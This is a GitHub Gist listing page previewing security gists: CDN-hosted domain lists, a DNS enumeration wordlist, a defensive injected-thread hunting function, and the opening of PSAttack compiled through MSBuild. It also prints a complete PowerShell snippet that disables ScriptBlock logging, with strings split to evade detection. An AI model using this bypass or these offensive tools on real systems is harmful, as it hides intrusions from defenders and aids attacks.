Skip to content

Instantly share code, notes, and snippets.

@vysecurity
vysecurity / Netlify
Created July 25, 2017 20:34
Netlify
admin.graph.cool
admin.inkl.com
admin.thecirqle.com
api.asset.tv
app.billyapp.com
app.billy.dk
app.billysbilling.com
app.crewmeister.com
app.nuclino.com
app.oktoplus.com.br
@vysecurity
vysecurity / Aliyun
Last active July 25, 2017 21:05
Aliyun (WAF)
admin.bjexpo.com
admin.cailianpress.com
admin.cheyian.com
admin.cydf.com
admin.ebp2p.com
admin.k3.cn
admin.ks5u.com
admin.kyjxy.com
admin.lezi.com
admin.weiba66.com
@vysecurity
vysecurity / Akamai
Last active October 26, 2022 08:16
aa.com
abcdin.cl
abi.ib
a.ccdn.es
activisionblizzard.com
adlibris.com
admin.bigbasket.com
admin.brightcove.co.jp
admin.brightcove.com
admin.charmingshoppes.com
@vysecurity
vysecurity / Azure
Last active August 31, 2017 05:14
admin.iris.net
admin.mywebvalet.net
admin.seo.com.cn
api.mywebvalet.net
api.nuget.org
api.squaremeal.co.uk
app.iris.net
app.mywebvalet.net
app.swyftmedia.com
cdn.24sevenoffice.com
@jhaddix
jhaddix / all.txt
Last active July 7, 2025 08:42
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎
@cobbr
cobbr / ScriptBlockLogBypass.ps1
Last active May 22, 2025 11:30
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
@jaredcatkinson
jaredcatkinson / Get-InjectedThread.ps1
Last active June 8, 2025 15:56
Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone
function Get-InjectedThread
{
<#
.SYNOPSIS
Looks for threads that were created as a result of code injection.
.DESCRIPTION
@mubix
mubix / infosec_newbie.md
Last active July 4, 2025 15:59
How to start in Infosec
@NickTyrer
NickTyrer / PSA64.cs
Created November 19, 2016 08:45
PSAttack Using MSBuild Downloader
This file has been truncated, but you can view the full file.
//Credits to Casey Smith for his initial research here "https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371"
//Based on Jared Haight work (https://github.com/jaredhaight/PSAttack)
//1. Compile "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:PSA64.exe PSA64.cs"
using System;
using System.Reflection;
namespace PSA64
{
class Program
{
#!/usr/bin/python3
import logging, sys
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
from collections import namedtuple
from ansible.parsing.dataloader import DataLoader
from ansible.vars import VariableManager
from ansible.inventory import Inventory
from ansible.playbook.play import Play